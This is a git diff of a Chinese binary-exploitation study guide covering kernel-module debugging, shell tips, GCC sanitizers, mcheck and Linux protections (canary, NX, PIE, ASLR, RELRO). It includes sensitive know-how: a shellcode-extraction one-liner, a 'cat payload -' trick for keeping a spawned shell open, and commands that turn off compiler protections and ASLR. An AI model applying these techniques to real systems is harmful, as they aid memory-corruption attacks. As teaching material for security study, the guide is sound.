现在我们已经可以对内核代码进行单步调试了。对于内核模块,我们同样可以进行调试,但模块是动态加载的,gdb 不会知道这些模块被加载到哪里,所以需要使用 `add-symbol-file` 命令来告诉它。
|
||||
|
||||
来看一个 helloworld 的例子,[源码](../src/others/4.1_linux_kernel_debug):
|
||||
|
||||
```c
|
||||
#include <linux/init.h>
|
||||
#include <linux/module.h>
|
||||
@ -265,7 +306,9 @@ module_exit(hello_exit);
|
||||
MODULE_LICENSE("GPL");
|
||||
MODULE_DESCRIPTION("A simple module.");
|
||||
```
|
||||
|
||||
Makefile 如下:
|
||||
|
||||
```makefile
|
||||
BUILDPATH := ~/kernelbuild/linux-4.16.3/
|
||||
obj-m += hello.o
|
||||
@ -276,38 +319,46 @@ all:
|
||||
clean:
|
||||
make -C $(BUILDPATH) M=$(PWD) clean
|
||||
```
|
||||
|
||||
编译模块并将 `.ko` 文件复制到 initramfs,然后重新打包:
|
||||
```
|
||||
|
||||
```text
|
||||
$ make && cp hello.ko ~/kernelbuild/busybox-1.28.3/initramfs
|
||||
$ cd ~/kernelbuild/busybox-1.28.3/initramfs
|
||||
$ find . -print0 | cpio --null -ov --format=newc | gzip -9 > ../initramfs.cpio.gz
|
||||
```
|
||||
|
||||
最后重新启动 QEMU 即可:
|
||||
```
|
||||
/ # insmod hello.ko
|
||||
|
||||
```text
|
||||
# insmod hello.ko
|
||||
[ 7.887392] hello: loading out-of-tree module taints kernel.
|
||||
[ 7.892630] Hello module!
|
||||
/ # lsmod
|
||||
# lsmod
|
||||
hello 16384 0 - Live 0xffffffffa0000000 (O)
|
||||
/ # rmmod hello.ko
|
||||
# rmmod hello.ko
|
||||
[ 24.523830] Goodbye module!
|
||||
```
|
||||
|
||||
三个命令分别用于载入、列出和卸载模块。
|
||||
|
||||
再回到 gdb 中,`add-symbol-file` 添加模块的 `.text`、`.data` 和 `.bss` 段的地址,这些地址在类似 `/sys/kernel/<module>/sections` 位置:
|
||||
```
|
||||
/ # cat /sys/module/hello/sections/.text
|
||||
|
||||
```text
|
||||
# cat /sys/module/hello/sections/.text
|
||||
0x00000000fa16acc0
|
||||
```
|
||||
|
||||
在这个例子中,只有 .text 段:
|
||||
```
|
||||
|
||||
```text
|
||||
(gdb) add-symbol-file ~/kernelbuild/busybox-1.28.3/initramfs/hello.ko 0x00000000fa16acc0
|
||||
```
|
||||
然后就可以对该模块进行调试了。
|
||||
|
||||
然后就可以对该模块进行调试了。
|
||||
|
||||
## kdb
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [KernelDebuggingTricks](https://wiki.ubuntu.com/Kernel/KernelDebuggingTricks)
|
||||
|
@ -8,8 +8,8 @@
|
||||
- [nohup 和 &](#nohup-和-)
|
||||
- [cat -](#cat--)
|
||||
|
||||
|
||||
## 通配符
|
||||
|
||||
- `*`:匹配任意字符
|
||||
- `ls test*`
|
||||
- `?`:匹配任意单个字符
|
||||
@ -19,9 +19,10 @@
|
||||
- `[!...]`:匹配除括号内字符以外的单个字符
|
||||
- `ls test[!123]`
|
||||
|
||||
|
||||
## 重定向输入字符
|
||||
|
||||
有时候我们需要在 shell 里输入键盘上没有对应的字符,如 `0x1F`,就需要使用重定向输入。下面是一个例子:
|
||||
|
||||
```C
|
||||
#include<stdio.h>
|
||||
#include<string.h>
|
||||
@ -38,7 +39,8 @@ void main() {
|
||||
}
|
||||
}
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
$ gcc test.c
|
||||
$ ./a.out
|
||||
请输入十六进制为 0x1f 的字符: 0x1f
|
||||
@ -49,20 +51,24 @@ $ echo -e "\x1f" | ./a.out
|
||||
请输入十六进制为 0x1f 的字符: correct
|
||||
```
|
||||
|
||||
|
||||
## 从可执行文件中提取 shellcode
|
||||
|
||||
```text
|
||||
for i in `objdump -d print_flag | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done
|
||||
```
|
||||
|
||||
注意:在 objdump 中空字节可能会被删除。
|
||||
|
||||
|
||||
## 查看进程虚拟地址空间
|
||||
|
||||
有时我们需要知道一个进程的虚拟地址空间是如何使用的,以确定栈是否是可执行的。
|
||||
|
||||
```text
|
||||
$ cat /proc/<PID>/maps
|
||||
```
|
||||
|
||||
下面我们分别来看看可执行栈和不可执行栈的不同:
|
||||
|
||||
```text
|
||||
$ cat hello.c
|
||||
#include <stdio.h>
|
||||
@ -125,9 +131,11 @@ ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsysca
|
||||
|
||||
[2]+ Stopped ./a.out2
|
||||
```
|
||||
|
||||
当使用 `-z execstack` 参数进行编译时,会关闭 `Stack Protector`。我们可以看到在 `a.out1` 中的 `stack` 是 `rw` 的,而 `a.out2` 中则是 `rwx` 的。
|
||||
|
||||
`maps` 文件有 6 列,分别为:
|
||||
|
||||
- **地址**:库在进程里地址范围
|
||||
- **权限**:虚拟内存的权限,r=读,w=写,x=执行,s=共享,p=私有
|
||||
- **偏移量**:库在进程里地址偏移量
|
||||
@ -136,20 +144,23 @@ ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsysca
|
||||
- **路径**: 映像文件的路径,经常同一个地址有两个地址范围,那是因为一段是 `r-xp` 为只读的代码段,一段是 `rwxp` 为可读写的数据段
|
||||
|
||||
除了 `/proc/<PID>/maps` 之外,还有一些有用的设备和文件。
|
||||
|
||||
- `/proc/kcore` 是 Linux 内核运行时的动态 core 文件。它是一个原始的内存转储,以 ELF core 文件的形式呈现,可以使用 GDB 来调试和分析内核。
|
||||
- `/boot/System.map` 是一个特定内核的内核符号表。它是你当前运行的内核的 System.map 的链接。
|
||||
- `/proc/kallsyms` 和 `System.map` 很类似,但它在 `/proc` 目录下,所以是由内核维护的,并可以动态更新。
|
||||
- `/proc/iomem` 和 `/proc/<pid>/maps` 类似,但它是用于系统内存的。如:
|
||||
```
|
||||
|
||||
```text
|
||||
# cat /proc/iomem | grep Kernel
|
||||
01000000-01622d91 : Kernel code
|
||||
01622d92-01b0ddff : Kernel data
|
||||
01c56000-01d57fff : Kernel bss
|
||||
```
|
||||
|
||||
|
||||
## ASCII 表
|
||||
|
||||
ASCII 表将键盘上的所有字符映射到固定的数字。有时候我们可能需要查看这张表:
|
||||
|
||||
```text
|
||||
$ man ascii
|
||||
|
||||
@ -245,6 +256,7 @@ F: / ? O _ o DEL
|
||||
```
|
||||
|
||||
Hex 转 Char:
|
||||
|
||||
```shell
|
||||
$ echo -e '\x41\x42\x43\x44'
|
||||
$ printf '\x41\x42\x43\x44'
|
||||
@ -253,49 +265,58 @@ $ perl -e 'print "\x41\x42\x43\x44";'
|
||||
```
|
||||
|
||||
Char 转 Hex:
|
||||
|
||||
```shell
|
||||
$ python -c 'print(b"ABCD".hex())'
|
||||
```
|
||||
|
||||
|
||||
## nohup 和 &
|
||||
|
||||
用 `nohup` 运行命令可以使命令永久的执行下去,和 Shell 没有关系,而 `&` 表示设置此进程为后台进程。默认情况下,进程是前台进程,这时就把 Shell 给占据了,我们无法进行其他操作,如果我们希望其在后台运行,可以使用 `&` 达到这个目的。
|
||||
|
||||
该命令的一般形式为:
|
||||
```
|
||||
|
||||
```text
|
||||
$ nohup <command> &
|
||||
```
|
||||
|
||||
#### 前后台进程切换
|
||||
### 前后台进程切换
|
||||
|
||||
可以通过 `bg`(background)和 `fg`(foreground)命令进行前后台进程切换。
|
||||
|
||||
显示Linux中的任务列表及任务状态:
|
||||
```
|
||||
|
||||
```text
|
||||
$ jobs -l
|
||||
[1]+ 9433 Stopped (tty input) ./a.out
|
||||
```
|
||||
|
||||
将进程放到后台运行:
|
||||
```
|
||||
|
||||
```text
|
||||
$ bg 1
|
||||
```
|
||||
|
||||
将后台进程放到前台运行:
|
||||
```
|
||||
|
||||
```text
|
||||
$ fg 1
|
||||
```
|
||||
|
||||
|
||||
## cat -
|
||||
|
||||
通常使用 cat 时后面都会跟一个文件名,但如果没有,或者只有一个 `-`,则表示从标准输入读取数据,它会保持标准输入开启,如:
|
||||
```
|
||||
|
||||
```text
|
||||
$ cat -
|
||||
hello world
|
||||
hello world
|
||||
^C
|
||||
```
|
||||
|
||||
更进一步,如果你采用 `cat file -` 的用法,它会先输出 file 的内容,然后是标准输入,它将标准输入的数据复制到标准输出,并保持标准输入开启:
|
||||
```
|
||||
|
||||
```text
|
||||
$ echo hello > text
|
||||
$ cat text -
|
||||
hello
|
||||
@ -303,8 +324,10 @@ world
|
||||
world
|
||||
^C
|
||||
```
|
||||
|
||||
有时我们在向程序发送 paylaod 的时候,它执行完就直接退出了,并没有开启 shell,我们就可以利用上面的技巧:
|
||||
```
|
||||
|
||||
```text
|
||||
$ cat payload | ./a.out
|
||||
> Segmentation fault (core dumped)
|
||||
|
||||
@ -314,4 +337,5 @@ firmy
|
||||
^C
|
||||
Segmentation fault (core dumped)
|
||||
```
|
||||
|
||||
这样就得到了 shell。
|
||||
|
@ -6,19 +6,20 @@
|
||||
- [mcheck](#mcheck)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## GCC
|
||||
```
|
||||
|
||||
```text
|
||||
$ wget -c http://www.mirrorservice.org/sites/sourceware.org/pub/gcc/releases/gcc-4.4.0/gcc-4.4.0.tar.bz2
|
||||
$ tar -xjvf gcc-4.4.0.tar.bz2
|
||||
$ ./configure
|
||||
$ make && sudo make install
|
||||
```
|
||||
|
||||
|
||||
## 常用选项
|
||||
|
||||
使用 `gcc -v` 可以查看默认开启的选项:
|
||||
```
|
||||
|
||||
```text
|
||||
$ gcc -v
|
||||
Using built-in specs.
|
||||
COLLECT_GCC=gcc
|
||||
@ -29,21 +30,25 @@ Thread model: posix
|
||||
gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.9)
|
||||
```
|
||||
|
||||
#### 控制标准版本的编译选项
|
||||
### 控制标准版本的编译选项
|
||||
|
||||
- `-ansi`:告诉编译器遵守 C 语言的 ISO C90 标准。
|
||||
- `-std=`:通过使用一个参数来设置需要的标准。
|
||||
- `c89`:支持 C89 标准。
|
||||
- `iso9899:1999`:支持 ISO C90 标准。
|
||||
- `gnu89`:支持 C89 标准。
|
||||
|
||||
#### 控制标准版本的常量
|
||||
### 控制标准版本的常量
|
||||
|
||||
这些常量(#define)可以通过编译器的命令行选项来设置,或者通过源代码总的 `#define` 语句来定义。
|
||||
|
||||
- `__STRICT_ANSI__`:强制使用 C 语言的 ISO 标准。这个常量通过命令行选项 `-ansi` 来定义。
|
||||
- `_POSIX_C_SOURCE=2`:启用由 IEEE Std1003.1 和 1003.2 标准定义的特性。
|
||||
- `_BSD_SOURCE`:启用 BSD 类型的特性。
|
||||
- `_GNU_SOURCE`:启用大量特性,其中包括 GNU 扩展。
|
||||
|
||||
#### 编译器的警告选项
|
||||
### 编译器的警告选项
|
||||
|
||||
- `-pedantic`:除了启用用于检查代码是否遵守 C 语言标准的选项外,还关闭了一些不被标准允许的传统 C 语言结构,并且禁用所有的 GNU 扩展。
|
||||
- `-Wformat`:检查 printf 系列函数所使用的参数类型是否正确。
|
||||
- `Wparentheses`:检查是否总是提供了需要的圆括号。当想要检查一个复杂结构的初始化是否按照预期进行时,这个选项就很有用。
|
||||
@ -51,11 +56,12 @@ gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.9)
|
||||
- `Wunused`:检查诸如声明静态函数但没有定义、未使用的参数和丢弃返回结果等情况。
|
||||
- `Wall`:启用绝大多数 gcc 的警告选项,包括所有以 -W 为前缀的选项。
|
||||
|
||||
|
||||
## Address sanitizer
|
||||
|
||||
Address sanitizer 是一种用于检测内存错误的技术,GCC 从 4.8 版本开始支持了这一技术。ASan 在编译时插入额外指令到内存访问操作中,同时通过 Shadow memory 来记录和检测内存的有效性。ASan 其实只是 Sanitizer 一系列工具中的一员,其他工具比如 memory leak 检测在 LeakSanitizer 中,uninitialized memory read 检测在 MemorySanitizer 中等等。
|
||||
|
||||
举个例子,很明显下面这个程序存在栈溢出:
|
||||
|
||||
```C
|
||||
#include<stdio.h>
|
||||
void main() {
|
||||
@ -63,12 +69,16 @@ void main() {
|
||||
int b = a[11];
|
||||
}
|
||||
```
|
||||
|
||||
编译时加上参数 `-fsanitize=address`,如果使用 Makefile,则将参数加入到 CFLAGS 中:
|
||||
```
|
||||
|
||||
```text
|
||||
$ gcc -fsanitize=address santest.c
|
||||
```
|
||||
|
||||
然后运行:
|
||||
```
|
||||
|
||||
```text
|
||||
$ ./a.out
|
||||
=================================================================
|
||||
==9399==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc03f4d64c at pc 0x565515082ad6 bp 0x7ffc03f4d5e0 sp 0x7ffc03f4d5d0
|
||||
@ -118,21 +128,25 @@ Shadow byte legend (one shadow byte represents 8 application bytes):
|
||||
Right alloca redzone: cb
|
||||
==9399==ABORTING
|
||||
```
|
||||
|
||||
确实检测出了问题。在实战篇中,为了更好地分析软件漏洞,我们可能会经常用到这个选项。
|
||||
|
||||
参考:https://en.wikipedia.org/wiki/AddressSanitizer
|
||||
|
||||
参考:<https://en.wikipedia.org/wiki/AddressSanitizer>
|
||||
|
||||
## mcheck
|
||||
|
||||
利用 mcheck 可以实现堆内存的一致性状态检查。其定义在 `/usr/include/mcheck.h`,是一个 GNU 扩展函数,原型如下:
|
||||
|
||||
```c
|
||||
#include <mcheck.h>
|
||||
|
||||
int mcheck(void (*abortfunc)(enum mcheck_status mstatus));
|
||||
```
|
||||
|
||||
可以看到参数是一个函数指针,但检查到堆内存异常时,通过该指针调用 abortfunc 函数,同时传入一个 mcheck_status 类型的参数。
|
||||
|
||||
举个例子,下面的程序存在 double-free 的问题:
|
||||
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
@ -147,8 +161,10 @@ void main() {
|
||||
fprintf(stderr, "Finish\n");
|
||||
}
|
||||
```
|
||||
|
||||
通过设置参数 `-lmcheck` 来链接 mcheck 函数:
|
||||
```
|
||||
|
||||
```text
|
||||
$ gcc -lmcheck t_mcheck.c
|
||||
$ ./a.out
|
||||
About to free
|
||||
@ -158,7 +174,8 @@ Aborted (core dumped)
|
||||
```
|
||||
|
||||
还可以通过设置环境变量 `MALLOC_CHECK_` 来实现,这样就不需要重新编译程序。
|
||||
```
|
||||
|
||||
```text
|
||||
$ gcc mcheck.c
|
||||
$ #检查到错误时不作任何提示
|
||||
$ MALLOC_CHECK_=0 ./a.out
|
||||
@ -177,11 +194,13 @@ About to free
|
||||
About to free a second time
|
||||
Aborted (core dumped)
|
||||
```
|
||||
|
||||
具体参考 `man 3 mcheck` 和 `man 3 mallopt`。
|
||||
|
||||
glibc 还提供了 `mtrace()` 和 `muntrace()` 函数分别在程序中打开和关闭对内存分配调用进行跟踪的功能。这些函数需要与环境变量 `MALLOC_TRACE` 配合使用,该变量定义了写入跟踪信息的文件名。在被调用时,`mtrace()` 会检查是否定义了该文件,又是否可以读写该文件。如果一切正常,那么会在文件里跟踪和记录所有对 malloc 系列函数的调用。由于生成的文件不易于理解,还提供了脚本(`mtrace`)用于分析文件,并生成易于理解的汇总报告。
|
||||
|
||||
将上面的例子修改一下:
|
||||
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
@ -205,7 +224,8 @@ void main() {
|
||||
muntrace();
|
||||
}
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
$ gcc t_mtrace.c
|
||||
$ export MALLOC_TRACE=/tmp/t
|
||||
$ ./a.out
|
||||
@ -221,8 +241,9 @@ Memory not freed:
|
||||
Address Size Caller
|
||||
0x000055e427cde6a0 0x100 at 0x55e425da27f6
|
||||
```
|
||||
|
||||
于是 double-free 和内存泄漏被检测出来了。
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [GCC online documentation](https://gcc.gnu.org/onlinedocs/)
|
||||
|
@ -5,14 +5,16 @@
|
||||
- [保护机制检测](#保护机制检测)
|
||||
- [地址空间布局随机化](#地址空间布局随机化)
|
||||
|
||||
|
||||
## 技术简介
|
||||
|
||||
Linux 中有各种各样的安全防护,其中 ASLR 是由内核直接提供的,通过系统配置文件控制。NX,Canary,PIE,RELRO 等需要在编译时根据各项参数开启或关闭。未指定参数时,使用默认设置。
|
||||
|
||||
#### CANARY
|
||||
### CANARY
|
||||
|
||||
启用 CANARY 后,函数开始执行的时候会先往栈里插入 canary 信息,当函数返回时验证插入的 canary 是否被修改,如果是,则说明发生了栈溢出,程序停止运行。
|
||||
|
||||
下面是一个例子:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
void main(int argc, char **argv) {
|
||||
@ -20,24 +22,30 @@ void main(int argc, char **argv) {
|
||||
scanf("%s", buf);
|
||||
}
|
||||
```
|
||||
|
||||
我们先开启 CANARY,来看看执行的结果:
|
||||
|
||||
```text
|
||||
$ gcc -m32 -fstack-protector canary.c -o f.out
|
||||
$ python -c 'print("A"*20)' | ./f.out
|
||||
*** stack smashing detected ***: ./f.out terminated
|
||||
Segmentation fault (core dumped)
|
||||
```
|
||||
|
||||
接下来关闭 CANARY:
|
||||
|
||||
```text
|
||||
$ gcc -m32 -fno-stack-protector canary.c -o fno.out
|
||||
$ python -c 'print("A"*20)' | ./fno.out
|
||||
Segmentation fault (core dumped)
|
||||
```
|
||||
|
||||
可以看到当开启 CANARY 的时候,提示检测到栈溢出和段错误,而关闭的时候,只有提示段错误。
|
||||
|
||||
下面对比一下反汇编代码上的差异:
|
||||
|
||||
开启 CANARY 时:
|
||||
|
||||
```text
|
||||
gdb-peda$ disassemble main
|
||||
Dump of assembler code for function main:
|
||||
@ -80,6 +88,7 @@ End of assembler dump.
|
||||
```
|
||||
|
||||
关闭 CANARY 时:
|
||||
|
||||
```text
|
||||
gdb-peda$ disassemble main
|
||||
Dump of assembler code for function main:
|
||||
@ -111,22 +120,25 @@ Dump of assembler code for function main:
|
||||
End of assembler dump.
|
||||
```
|
||||
|
||||
#### FORTIFY
|
||||
### FORTIFY
|
||||
|
||||
FORTIFY 的选项 `-D_FORTIFY_SOURCE` 往往和优化 `-O` 选项一起使用,以检测缓冲区溢出的问题。
|
||||
|
||||
下面是一个简单的例子:
|
||||
|
||||
```c
|
||||
#include<string.h>
|
||||
void main() {
|
||||
char str[3];
|
||||
strcpy(str, "abcde");
|
||||
char str[3];
|
||||
strcpy(str, "abcde");
|
||||
}
|
||||
```
|
||||
|
||||
```text
|
||||
$ gcc -O2 fortify.c
|
||||
$ checksec --file a.out
|
||||
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
|
||||
Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No 0 0a.out
|
||||
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
|
||||
Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No 0 0 a.out
|
||||
|
||||
$ gcc -O2 -D_FORTIFY_SOURCE=2 fortify.c
|
||||
In file included from /usr/include/string.h:639:0,
|
||||
@ -137,28 +149,33 @@ In function ‘strcpy’,
|
||||
return __builtin___strcpy_chk (__dest, __src, __bos (__dest));
|
||||
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
$ checksec --file a.out
|
||||
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
|
||||
Partial RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH Yes 2 2a.out
|
||||
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
|
||||
Partial RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH Yes 2 2 a.out
|
||||
```
|
||||
|
||||
开启优化 `-O2` 后,编译没有检测出任何问题,checksec 后 FORTIFY 为 No。当配合 `-D_FORTIFY_SOURCE=2`(也可以 `=1`)使用时,提示存在溢出问题,checksec 后 FORTIFY 为 Yes。
|
||||
|
||||
#### NX
|
||||
### NX
|
||||
|
||||
No-eXecute,表示不可执行,其原理是将数据所在的内存页标识为不可执行,如果程序产生溢出转入执行 shellcode 时,CPU 会抛出异常。
|
||||
|
||||
在 Linux 中,当装载器将程序装载进内存空间后,将程序的 .text 段标记为可执行,而其余的数据段(.data、.bss 等)以及栈、堆均为不可执行。因此,传统利用方式中通过修改 GOT 来执行 shellcode 的方式不再可行。
|
||||
|
||||
但这种保护并不能阻止攻击者通过代码重用来进行攻击(ret2libc)。
|
||||
|
||||
#### PIE
|
||||
### PIE
|
||||
|
||||
PIE(Position Independent Executable)需要配合 ASLR 来使用,以达到可执行文件的加载时地址随机化。简单来说,PIE 是编译时随机化,由编译器完成;ASLR 是加载时随机化,由操作系统完成。ASLR 将程序运行时的堆栈以及共享库的加载地址随机化,而 PIE 在编译时将程序编译为位置无关、即程序运行时各个段加载的虚拟地址在装载时确定。开启 PIE 时,编译生成的是动态库文件(Shared object)文件,而关闭 PIE 后生成可执行文件(Executable)。
|
||||
|
||||
我们通过实际例子来探索一下 PIE 和 ASLR:
|
||||
|
||||
```c
|
||||
#include<stdio.h>
|
||||
void main() {
|
||||
printf("%p\n", main);
|
||||
printf("%p\n", main);
|
||||
}
|
||||
```
|
||||
|
||||
```text
|
||||
$ gcc -m32 -pie random.c -o open-pie
|
||||
$ readelf -h open-pie
|
||||
@ -205,9 +222,11 @@ ELF Header:
|
||||
Number of section headers: 30
|
||||
Section header string table index: 29
|
||||
```
|
||||
|
||||
可以看到两者的不同在 `Type` 和 `Entry point address`。
|
||||
|
||||
首先我们关闭 ASLR,使用 `-pie` 进行编译:
|
||||
|
||||
```text
|
||||
# echo 0 > /proc/sys/kernel/randomize_va_space
|
||||
# gcc -m32 -pie random.c -o a.out
|
||||
@ -220,18 +239,22 @@ Partial RELRO No canary found NX enabled PIE enabled No RPATH No RU
|
||||
# ./a.out
|
||||
0x5655553d
|
||||
```
|
||||
|
||||
我们虽然开启了 `-pie`,但是 ASLR 被关闭,入口地址不变。
|
||||
|
||||
```text
|
||||
# ldd a.out
|
||||
linux-gate.so.1 (0xf7fd7000)
|
||||
libc.so.6 => /usr/lib32/libc.so.6 (0xf7dd9000)
|
||||
/lib/ld-linux.so.2 (0xf7fd9000)
|
||||
linux-gate.so.1 (0xf7fd7000)
|
||||
libc.so.6 => /usr/lib32/libc.so.6 (0xf7dd9000)
|
||||
/lib/ld-linux.so.2 (0xf7fd9000)
|
||||
# ldd a.out
|
||||
linux-gate.so.1 (0xf7fd7000)
|
||||
libc.so.6 => /usr/lib32/libc.so.6 (0xf7dd9000)
|
||||
/lib/ld-linux.so.2 (0xf7fd9000)
|
||||
linux-gate.so.1 (0xf7fd7000)
|
||||
libc.so.6 => /usr/lib32/libc.so.6 (0xf7dd9000)
|
||||
/lib/ld-linux.so.2 (0xf7fd9000)
|
||||
```
|
||||
|
||||
可以看出动态链接库地址也不变。然后我们开启 ASLR:
|
||||
|
||||
```text
|
||||
# echo 2 > /proc/sys/kernel/randomize_va_space
|
||||
# ./a.out
|
||||
@ -239,38 +262,42 @@ Partial RELRO No canary found NX enabled PIE enabled No RPATH No RU
|
||||
# ./a.out
|
||||
0x5659753d
|
||||
# ldd a.out
|
||||
linux-gate.so.1 (0xf7727000)
|
||||
libc.so.6 => /usr/lib32/libc.so.6 (0xf7529000)
|
||||
/lib/ld-linux.so.2 (0xf7729000)
|
||||
linux-gate.so.1 (0xf7727000)
|
||||
libc.so.6 => /usr/lib32/libc.so.6 (0xf7529000)
|
||||
/lib/ld-linux.so.2 (0xf7729000)
|
||||
# ldd a.out
|
||||
linux-gate.so.1 (0xf77d6000)
|
||||
libc.so.6 => /usr/lib32/libc.so.6 (0xf75d8000)
|
||||
/lib/ld-linux.so.2 (0xf77d8000)
|
||||
linux-gate.so.1 (0xf77d6000)
|
||||
libc.so.6 => /usr/lib32/libc.so.6 (0xf75d8000)
|
||||
/lib/ld-linux.so.2 (0xf77d8000)
|
||||
```
|
||||
|
||||
入口地址和动态链接库地址都变得随机。
|
||||
|
||||
接下来关闭 ASLR,并使用 `-no-pie` 进行编译:
|
||||
|
||||
```text
|
||||
# echo 0 > /proc/sys/kernel/randomize_va_space
|
||||
# gcc -m32 -no-pie random.c -o b.out
|
||||
# checksec --file b.out
|
||||
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
|
||||
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 2 b.out
|
||||
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
|
||||
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 2 b.out
|
||||
|
||||
# ./b.out
|
||||
0x8048406
|
||||
# ./b.out
|
||||
0x8048406
|
||||
# ldd b.out
|
||||
linux-gate.so.1 (0xf7fd7000)
|
||||
libc.so.6 => /usr/lib32/libc.so.6 (0xf7dd9000)
|
||||
/lib/ld-linux.so.2 (0xf7fd9000)
|
||||
linux-gate.so.1 (0xf7fd7000)
|
||||
libc.so.6 => /usr/lib32/libc.so.6 (0xf7dd9000)
|
||||
/lib/ld-linux.so.2 (0xf7fd9000)
|
||||
# ldd b.out
|
||||
linux-gate.so.1 (0xf7fd7000)
|
||||
libc.so.6 => /usr/lib32/libc.so.6 (0xf7dd9000)
|
||||
/lib/ld-linux.so.2 (0xf7fd9000)
|
||||
linux-gate.so.1 (0xf7fd7000)
|
||||
libc.so.6 => /usr/lib32/libc.so.6 (0xf7dd9000)
|
||||
/lib/ld-linux.so.2 (0xf7fd9000)
|
||||
```
|
||||
|
||||
入口地址和动态库都是固定的。下面开启 ASLR:
|
||||
|
||||
```text
|
||||
# echo 2 > /proc/sys/kernel/randomize_va_space
|
||||
# ./b.out
|
||||
@ -278,14 +305,15 @@ Partial RELRO No canary found NX enabled No PIE No RPATH No RU
|
||||
# ./b.out
|
||||
0x8048406
|
||||
# ldd b.out
|
||||
linux-gate.so.1 (0xf7797000)
|
||||
libc.so.6 => /usr/lib32/libc.so.6 (0xf7599000)
|
||||
/lib/ld-linux.so.2 (0xf7799000)
|
||||
linux-gate.so.1 (0xf7797000)
|
||||
libc.so.6 => /usr/lib32/libc.so.6 (0xf7599000)
|
||||
/lib/ld-linux.so.2 (0xf7799000)
|
||||
# ldd b.out
|
||||
linux-gate.so.1 (0xf770a000)
|
||||
libc.so.6 => /usr/lib32/libc.so.6 (0xf750c000)
|
||||
/lib/ld-linux.so.2 (0xf770c000)
|
||||
linux-gate.so.1 (0xf770a000)
|
||||
libc.so.6 => /usr/lib32/libc.so.6 (0xf750c000)
|
||||
/lib/ld-linux.so.2 (0xf770c000)
|
||||
```
|
||||
|
||||
入口地址依然固定,但是动态库变为随机。
|
||||
|
||||
所以在分析一个 PIE 开启的二进制文件时,只需要关闭 ASLR,即可使 PIE 和 ASLR 都失效。
|
||||
@ -298,29 +326,34 @@ Partial RELRO No canary found NX enabled No PIE No RPATH No RU
|
||||
>
|
||||
>完全开启(在部分开启的基础上增加 heap的随机化:`# echo 2 > /proc/sys/kernel/randomize_va_space`
|
||||
|
||||
#### RELRO
|
||||
### RELRO
|
||||
|
||||
RELRO(ReLocation Read-Only)设置符号重定向表为只读或在程序启动时就解析并绑定所有动态符号,从而减少对 GOT(Global Offset Table)的攻击。
|
||||
|
||||
RELOR 有两种形式:
|
||||
|
||||
- Partial RELRO:一些段(包括 `.dynamic`)在初始化后将会被标记为只读。
|
||||
- Full RELRO:除了 Partial RELRO,延迟绑定将被禁止,所有的导入符号将在开始时被解析,`.got.plt` 段会被完全初始化为目标函数的最终地址,并被标记为只读。另外 `link_map` 和 `_dl_runtime_resolve` 的地址也不会被装入。
|
||||
|
||||
|
||||
## 编译参数
|
||||
|
||||
各种安全技术的编译参数如下:
|
||||
|
||||
安全技术 | 完全开启 | 部分开启 | 关闭
|
||||
--- | --- | --- | ---
|
||||
Canary | -fstack-protector-all | -fstack-protector | -fno-stack-protector
|
||||
NX | -z noexecstack | | -z execstack
|
||||
PIE | -pie | | -no-pie
|
||||
RELRO | -z now | -z lazy | -z norelro
|
||||
| 安全技术 | 完全开启 | 部分开启 | 关闭 |
|
||||
| --- | --- | --- | --- |
|
||||
| Canary | -fstack-protector-all | -fstack-protector | -fno-stack-protector |
|
||||
| NX | -z noexecstack | | -z execstack |
|
||||
| PIE | -pie | | -no-pie |
|
||||
| RELRO | -z now | -z lazy | -z norelro |
|
||||
|
||||
关闭所有保护:
|
||||
|
||||
```text
|
||||
gcc hello.c -o hello -fno-stack-protector -z execstack -no-pie -z norelro
|
||||
```
|
||||
|
||||
开启所有保护:
|
||||
|
||||
```text
|
||||
gcc hello.c -o hello -fstack-protector-all -z noexecstack -pie -z now
|
||||
```
|
||||
@ -329,18 +362,20 @@ gcc hello.c -o hello -fstack-protector-all -z noexecstack -pie -z now
|
||||
- `-D_FORTIFY_SOURCE=1`:仅在编译时检测溢出
|
||||
- `-D_FORTIFY_SOURCE=2`:在编译时和运行时检测溢出
|
||||
|
||||
|
||||
## 保护机制检测
|
||||
|
||||
有许多工具可以检测二进制文件所使用的编译器安全技术。下面介绍常用的几种:
|
||||
|
||||
#### checksec
|
||||
### checksec
|
||||
|
||||
```text
|
||||
$ checksec --file /bin/ls
|
||||
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
|
||||
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 5 15 /bin/ls
|
||||
```
|
||||
|
||||
#### peda 自带的 checksec
|
||||
### peda 自带的 checksec
|
||||
|
||||
```text
|
||||
$ gdb /bin/ls
|
||||
gdb-peda$ checksec
|
||||
@ -351,8 +386,8 @@ PIE : disabled
|
||||
RELRO : Partial
|
||||
